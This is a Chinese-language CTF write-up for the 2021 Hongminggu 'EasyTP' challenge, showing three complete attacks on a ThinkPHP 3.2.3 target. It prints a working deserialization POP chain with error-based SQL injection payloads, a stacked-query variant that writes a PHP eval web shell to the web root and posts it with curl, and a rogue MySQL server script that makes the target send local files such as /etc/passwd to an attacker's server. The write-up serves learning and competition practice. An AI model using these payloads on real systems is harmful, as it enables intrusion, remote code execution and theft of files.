[红明谷CTF 2021]EasyTP

文章目录

[红明谷CTF 2021]EasyTP

解题过程

打开容器

源码泄露/www.zip

下载下来，发现是thinkphp3.2.3的，找链子：ThinkPHP v3.2.* （SQL注入&文件读取）反序列化POP链 (f5.pm)

注意在源码中，控制器中存在反序列化，以这个为入手点

在BUUCTF的环境中，database=test，password=root

解法1：报错注入

使用报错注入

<?php
namespace Think\Db\Driver{
    
    
    use PDO;
    class Mysql{
    
    
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
        );
        protected $config = array(
            "debug"    => true,
            "database" => "test", // 可换成任一存在的库
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root" // BUU环境密码为root
        );
    }
}
namespace Think\Image\Driver{
    
    
    use Think\Session\Driver\Memcache;
    class Imagick{
    
    
        private $img;
        public function __construct(){
    
    
            $this->img = new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    
    
    use Think\Model;
    class Memcache{
    
    
        protected $handle;
        public function __construct(){
    
    
            $this->handle = new Model();
        }
    }
}
namespace Think{
    
    
    use Think\Db\Driver\Mysql;
    class Model{
    
    
        protected $options = array();
        protected $pk;
        protected $data = array();
        protected $db = null;
        public function __construct(){
    
    
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                //查看数据库名称
                // "table" => "mysql.user where updatexml(1,concat(0x7e,mid((select(group_concat(schema_name))from(information_schema.schemata)),30),0x7e),1)#",
                //数据库名称：'~information_schema,mysql,performance_schema,sys,test~'
                //一次能够读取的长度有限，分两次读取数据  使用mid函数分开读取

                //查表名
                // "table" => "mysql.user where updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#",
                // ~flag,users~

                // 查列名
                //"table" => "mysql.user where updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#",
                //~flag~

                //查字段值
                "table" => "mysql.user where updatexml(1,concat(0x7e,mid((select`*`from`flag`),1),0x7e),1)#",
                "where" => "1=1"
                
            );
        }
    }
}
namespace {
    
    
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

其中报错注入的部分,注意updatexml 最多只能显示32位,可以使用substr或者reverse来进行搭配使用，而师傅的wp中采用mid()函数进行部分截取

//查看数据库名称
                // "table" => "mysql.user where updatexml(1,concat(0x7e,mid((select(group_concat(schema_name))from(information_schema.schemata)),30),0x7e),1)#",
                //数据库名称：'~information_schema,mysql,performance_schema,sys,test~'
                //一次能够读取的长度有限，分两次读取数据  使用mid函数分开读取

                //查表名
                // "table" => "mysql.user where updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#",
                // ~flag,users~

                // 查列名
                //"table" => "mysql.user where updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#",
                //~flag~

                //查字段值
                "table" => "mysql.user where updatexml(1,concat(0x7e,mid((select`*`from`flag`),1),0x7e),1)#",
                "where" => "1=1"

利用控制器中的php://input进行post传入数据

查列名：flag

flag长度过长，分开查，查看前半段flag

mysql.user where updatexml(1,concat(0x7e,mid((select`*`from`flag`),1),0x7e),1)#

查看后半段flag

mysql.user where updatexml(1,concat(0x7e,mid((select`*`from`flag`),15),0x7e),1)#

拼接即可得到最终的flag

解法2：开堆叠写shell

参考赵总的payload:红明谷 CTF2021 Web部分 WriteUp – glzjin (zhaoj.in)

<?php
namespace Think\Db\Driver{
    
    
    use PDO;
    class Mysql{
    
    
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true,    //读取本地文件~
            PDO::MYSQL_ATTR_MULTI_STATEMENTS => true,    //把堆叠开了~
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "test",//任意一个存在的数据库
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
    }
}
namespace Think\Image\Driver{
    
    
    use Think\Session\Driver\Memcache;
    class Imagick{
    
    
        private $img;
        public function __construct(){
    
    
            $this->img = new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    
    
    use Think\Model;
    class Memcache{
    
    
        protected $handle;
        public function __construct(){
    
    
            $this->handle = new Model();
        }
    }
}
namespace Think{
    
    
    use Think\Db\Driver\Mysql;
    class Model{
    
    
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;
        public function __construct(){
    
    
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=1;select '<?php eval(\$_POST[1]);?>' into outfile '/var/www/html/shell.php';#",
                "where" => "1=1"
            );
        }
    }
}
namespace {
    
    
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));


    $curl = curl_init();
    curl_setopt_array($curl, array(
        CURLOPT_URL => "http://60255871-6897-49ef-9d6c-884e6aa201d0.node4.buuoj.cn:81/index.php/Home/Index/test",
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_ENCODING => "",
        CURLOPT_MAXREDIRS => 10,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
        CURLOPT_CUSTOMREQUEST => "POST",
        CURLOPT_POSTFIELDS => base64_encode(serialize(new Think\Image\Driver\Imagick())),
        CURLOPT_HTTPHEADER => array(
            "Postman-Token: 348e180e-5893-4ab4-b1d4-f570d69f228e",
            "cache-control: no-cache"
        ),
    ));
    $response = curl_exec($curl);
    $err = curl_error($curl);
    curl_close($curl);
    if ($err) {
    
    
        echo "cURL Error #:" . $err;
    } else {
    
    
        echo $response;
    }
}

蚁剑连接

查看根目录的文件，发现flag是插入进数据库中的

flag.sh

start.sh

根据这个shell直接用蚁剑连接数据库，数据库类型选择MYSQLI

获取flag

解法3：rogue-mysql-server

在vps上起一个恶意的server,模拟mysql服务端的身份验证过程，骗取客户端（也就是靶机）将其信息发给靶机

exp地址：

allyshka/Rogue-MySql-Server

这个过程参照Crispr师傅的博客GKCTF&红明谷部分Web 题解 – Crispr –热爱技术和生活 (crisprx.top)

贴一下师傅的解析，讲得特别好

使用的是roguemysql.php，注意修改其中的端口（因为可能vps上已经有mysql在3306端口了，我们的这个恶意的mysql的server端要占一个端口，这里我用的是3307端口，注意把vps的防火墙打开）

<?php
function unhex($str) {
    
     return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str)); }

$filename = "/etc/passwd";

$srv = stream_socket_server("tcp://0.0.0.0:3307");

while (true) {
    
    
  echo "Enter filename to get [$filename] > ";
  $newFilename = rtrim(fgets(STDIN), "\r\n");
  if (!empty($newFilename)) {
    
    
    $filename = $newFilename;
  }

  echo "[.] Waiting for connection on 0.0.0.0:3307\n";
  $s = stream_socket_accept($srv, -1, $peer);
  echo "[+] Connection from $peer - greet... ";
  fwrite($s, unhex('45 00 00 00 0a 35 2e 31  2e 36 33 2d 30 75 62 75
                    6e 74 75 30 2e 31 30 2e  30 34 2e 31 00 26 00 00
                    00 7a 42 7a 60 51 56 3b  64 00 ff f7 08 02 00 00
                    00 00 00 00 00 00 00 00  00 00 00 00 64 4c 2f 44
                    47 77 43 2a 43 56 63 72  00                     '));
  fread($s, 8192);
  echo "auth ok... ";
  fwrite($s, unhex('07 00 00 02 00 00 00 02  00 00 00'));
  fread($s, 8192);
  echo "some shit ok... ";
  fwrite($s, unhex('07 00 00 01 00 00 00 00  00 00 00'));
  fread($s, 8192);
  echo "want file... ";
  fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);
  stream_socket_shutdown($s, STREAM_SHUT_WR);
  echo "\n";

  echo "[+] $filename from $peer:\n";

  $len = fread($s, 4);
  if(!empty($len)) {
    
    
    list (, $len) = unpack("V", $len);
    $len &= 0xffffff;
    while ($len > 0) {
    
    
      $chunk = fread($s, $len);
      $len -= strlen($chunk);
      echo $chunk;
    }
  }

  echo "\n\n";
  fclose($s);
}

同时需要让靶机来连接我们vps上的这个恶意的server才行，所以修改了一下上面的payload中的ip和port

准备之后开始操作

先开启恶意的mysql_server服务

php roguemysql.php

可以输入/etc/passwd来测试

然后burpsuite发包，反序列化触发执行让靶机连接我们的恶意server

参考链接

[BUUOJ]红明谷CTF2021复现 | tyskillのBlog
红明谷 CTF2021 Web部分 WriteUp – glzjin (zhaoj.in)
GKCTF&红明谷部分Web 题解 – Crispr –热爱技术和生活 (crisprx.top)
mysql任意文件读取学习
allyshka/Rogue-MySql-Server

2022年的第一篇博客，新的一年，沉下心来，好好学技术。(ง •_•)ง